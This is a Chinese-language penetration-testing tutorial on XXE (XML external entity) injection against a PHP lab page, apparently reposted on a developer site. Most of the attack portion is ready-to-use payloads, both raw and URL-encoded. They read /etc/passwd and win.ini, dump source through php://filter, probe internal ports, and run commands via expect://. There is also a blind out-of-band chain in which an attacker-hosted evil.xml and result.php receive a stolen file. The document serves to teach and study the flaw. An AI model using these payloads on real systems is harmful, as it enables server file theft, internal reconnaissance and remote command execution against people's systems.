热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

95.网络安全渗透测试—[常规漏洞挖掘与利用篇11]—[XXE(XML外部实体)注入漏洞与测试]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!文章目录一、XXE注入1、相关概念

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

文章目录

    • 一、XXE注入
      • 1、相关概念
        • (1)XXE定义:
        • (2)漏洞版本:
        • (3)相关概念:
      • 2、漏洞示例:`有回显的XXE注入`
        • (1)靶机环境:本地的phpstudy-`php5.4.5`
        • (2)漏洞页面源码:`xxe01.php`
        • &#xff08;3&#xff09;查看libxml版本&#xff1a;&#96;2.7.8<2.9&#96;
        • &#xff08;4&#xff09;任意读取文件&#xff1a;&#96;file://伪协议&#96;
        • &#xff08;5&#xff09;利用伪协议读取文件&#xff1a;&#96;php的filter伪协议&#96;
        • &#xff08;5&#xff09;扫描端口&#xff1a;&#96;单线程&#96;
        • &#xff08;6&#xff09;执行命令&#xff1a;&#96;except://伪协议&#96;
      • 3、漏洞示例&#xff1a;无回显的XXE注入
        • &#xff08;1&#xff09;靶机环境&#xff1a;本地的phpstudy-&#96;php5.4.5&#96;
        • &#xff08;2&#xff09;漏洞页面源码&#xff1a;xxe01.php
        • &#xff08;3&#xff09;查看libxml版本&#xff1a;2.7.8<2.9
        • &#xff08;4&#xff09;任意读取文件&#xff1a;&#96;blind xee&#96;


一、XXE注入


1、相关概念


&#xff08;1&#xff09;XXE定义&#xff1a;

          XXE Injection即XML External Entity Injection,也就是XML外部实体注入漏洞&#xff0c;该漏洞是在对非安全的外部实体数据进⾏处理时引发的安全问题。

&#xff08;2&#xff09;漏洞版本&#xff1a;

          libxml的版本

&#xff08;3&#xff09;相关概念&#xff1a;


  • 在程序用的比较多就是内部实体

<!ENTITY 实体名称 "实体的值">

xml version&#61;"1.0" encoding&#61;"ISO-8859-1"?><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don&#39;t forget the meeting!</body></note>

在这里插入图片描述

  • 外部实体可支持http、file等协议 不同程序支持的协议也不同。

<!ENTITY 实体名称 SYSTEM "URI/URL">

$string_xml &#61; &#39;GeorgeJohnReminderxml实体注入&#39;;$xml &#61; isset($_GET[&#39;xml&#39;])?$_GET[&#39;xml&#39;]:$string_xml;$data &#61; simplexml_load_string($xml);echo &#39;&#39;;print_r($data);
?>

在这里插入图片描述

$xml &#61; $_GET[&#39;xml&#39;];$data &#61; &#64;simplexml_load_string($xml);
?>

在这里插入图片描述

2、漏洞示例&#xff1a;有回显的XXE注入


&#xff08;1&#xff09;靶机环境&#xff1a;本地的phpstudy-php5.4.5

//注意&#xff1a;5.2.17不能成功演示
在这里插入图片描述

&#xff08;2&#xff09;漏洞页面源码&#xff1a;xxe01.php

在这里插入图片描述

&#xff08;3&#xff09;查看libxml版本&#xff1a;2.7.8<2.9

在这里插入图片描述

&#xff08;4&#xff09;任意读取文件&#xff1a;file://伪协议

payload-linux&#xff1a;<?xml version&#61;"1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]><c>&b;</c>
//注意&#xff1a;payload需要url编码后才可使用payload-windows&#xff1a;<?xml version&#61;"1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]><c>&b;</c>
//注意&#xff1a;payload需要url编码后才可使用

示例-1&#xff1a;http://www.exploit.cool/exp/xxe/xxe01.php?xml&#61;%3C%3F%78%6D%6C%20%76%65%72%73%69%6F%6E%3D%22%31%2E%30%22%3F%3E%3C%21%44%4F%43%54%59%50%45%20%20%61%20%20%5B%3C%21%45%4E%54%49%54%59%20%62%20%53%59%53%54%45%4D%20%22%66%69%6C%65%3A%2F%2F%2F%43%3A%2F%57%69%6E%64%6F%77%73%2F%77%69%6E%2E%69%6E%69%22%3E%5D%3E%3C%63%3E%26%62%3B%3C%2F%63%3E

如下图所示&#xff0c;成功读取了c:/windows/win.ini文件内容&#xff1a;
在这里插入图片描述

&#xff08;5&#xff09;利用伪协议读取文件&#xff1a;php的filter伪协议

payload-3:
<?xml version&#61;"1.0" encoding&#61;"utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "php://filter/read&#61;convert.base64-encode/resource&#61;xxe01.php" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
//注意&#xff1a;payload需要url编码后才可使用

示例-2&#xff1a;http://www.exploit.cool/exp/xxe/xxe01.php?xml&#61;%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%75%74%66%2d%38%22%3f%3e%20%0a%3c%21%44%4f%43%54%59%50%45%20%78%64%73%65%63%20%5b%0a%3c%21%45%4c%45%4d%45%4e%54%20%6d%65%74%68%6f%64%6e%61%6d%65%20%41%4e%59%20%3e%0a%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%78%78%65%30%31%2e%70%68%70%22%20%3e%5d%3e%0a%3c%6d%65%74%68%6f%64%63%61%6c%6c%3e%0a%3c%6d%65%74%68%6f%64%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6d%65%74%68%6f%64%6e%61%6d%65%3e%0a%3c%2f%6d%65%74%68%6f%64%63%61%6c%6c%3e

如下图所示&#xff0c;成功读取了xee01.php页面源码的base64编码&#xff1a;
在这里插入图片描述
得到的base64源码解码后&#xff1a;
在这里插入图片描述

&#xff08;5&#xff09;扫描端口&#xff1a;单线程

payload&#xff1a;
<?xml version&#61;"1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://192.168.97.130:80">
]>
<abc>&test;</abc>
//注意&#xff1a;payload需要url编码后才可使用

示例-3&#xff1a;http://www.exploit.cool/exp/xxe/xxe01.php?xml&#61;%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%37%2e%31%33%30%3a%38%30%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e

如下图所示&#xff0c;成功扫描到了192.168.97.130:80服务&#xff1a;

在这里插入图片描述

&#xff08;6&#xff09;执行命令&#xff1a;except://伪协议

except://伪协议封装协议默认未开启&#xff0c;为了使用 expect:// 封装器&#xff0c;你必须安装 » PECL 上的 » Expect 扩展。

payload-4&#xff1a;
<?xml version&#61;"1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "expect://whoami">
]>
<abc>&test;</abc>
//注意&#xff1a;payload需要url编码后才可使用

示例-4&#xff1a;http://www.exploit.cool/exp/xxe/xxe01.php?xml&#61;%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%3c%21%45%4e%54%49%54%59%20%74%65%73%74%20%53%59%53%54%45%4d%20%22%65%78%70%65%63%74%3a%2f%2f%77%68%6f%61%6d%69%22%3e%0a%5d%3e%0a%3c%61%62%63%3e%26%74%65%73%74%3b%3c%2f%61%62%63%3e
在这里插入图片描述

3、漏洞示例&#xff1a;无回显的XXE注入

//无回显的XXE注入称为 blind xxe &#xff0c;此时可以使用外带数据通道提取数据

&#xff08;1&#xff09;靶机环境&#xff1a;本地的phpstudy-php5.4.5

在这里插入图片描述

&#xff08;2&#xff09;漏洞页面源码&#xff1a;xxe01.php

在这里插入图片描述

&#xff08;3&#xff09;查看libxml版本&#xff1a;2.7.8<2.9

在这里插入图片描述

&#xff08;4&#xff09;任意读取文件&#xff1a;blind xee

【首先&#xff1a;攻击者远程WEB服务器上的提前准备&#xff1a;】

evil.xml 文件内容&#xff1a;读取xee blind发来的文件内容并且通过file参数传递给result.php

<!ENTITY % all "">

result.php文件内容&#xff1a;读取evil.xml发来的file参数值并且写入到result.txt文件内

file_put_contents("result.txt", $_GET[&#39;file&#39;]);?>

【其次&#xff1a;攻击者提交的payload&#xff1a;】

payload-5&#xff1a;
<?xml version&#61;"1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/flag.txt">
<!ENTITY % remote SYSTEM "http://www.exploit.cool/exp/xxe/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
//注意&#xff1a;上面的该条语句是在读取文件内容&#xff0c;同时其内的内容需要符合一定条件才出结果
//注意&#xff1a;上面的http://www.exploit/cool/exp/xxe/evil.xml该条语句模拟的是攻击者的远程服务器的文件
//注意&#xff1a;payload需要url编码后才可使用

示例-5&#xff1a;http://www.exploit.cool/exp/xxe/xxe02.php?xml&#61;%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%5b%0a%3c%21%45%4e%54%49%54%59%20%25%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%43%3a%2f%66%6c%61%67%2e%74%78%74%22%3e%0a%3c%21%45%4e%54%49%54%59%20%25%20%72%65%6d%6f%74%65%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%77%77%77%2e%65%78%70%6c%6f%69%74%2e%63%6f%6f%6c%2f%65%78%70%2f%78%78%65%2f%65%76%69%6c%2e%78%6d%6c%22%3e%0a%25%72%65%6d%6f%74%65%3b%0a%25%61%6c%6c%3b%0a%5d%3e%0a%3c%72%6f%6f%74%3e%26%73%65%6e%64%3b%3c%2f%72%6f%6f%74%3e

在这里插入图片描述

【注意&#xff1a;经过多次测试&#xff0c;发现我们读取的内容&#xff0c;不能出现一些特殊字符&#xff0c;否则不会出现结果&#xff01;&#xff01;&#xff01;】
在这里插入图片描述


推荐阅读
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 本文介绍了使用Python解析C语言结构体的方法,包括定义基本类型和结构体类型的字典,并提供了一个示例代码,展示了如何解析C语言结构体。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • eclipse学习(第三章:ssh中的Hibernate)——11.Hibernate的缓存(2级缓存,get和load)
    本文介绍了eclipse学习中的第三章内容,主要讲解了ssh中的Hibernate的缓存,包括2级缓存和get方法、load方法的区别。文章还涉及了项目实践和相关知识点的讲解。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • 本文介绍了三种方法来实现在Win7系统中显示桌面的快捷方式,包括使用任务栏快速启动栏、运行命令和自己创建快捷方式的方法。具体操作步骤详细说明,并提供了保存图标的路径,方便以后使用。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
  • 本文介绍了如何清除Eclipse中SVN用户的设置。首先需要查看使用的SVN接口,然后根据接口类型找到相应的目录并删除相关文件。最后使用SVN更新或提交来应用更改。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
author-avatar
段娜688
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有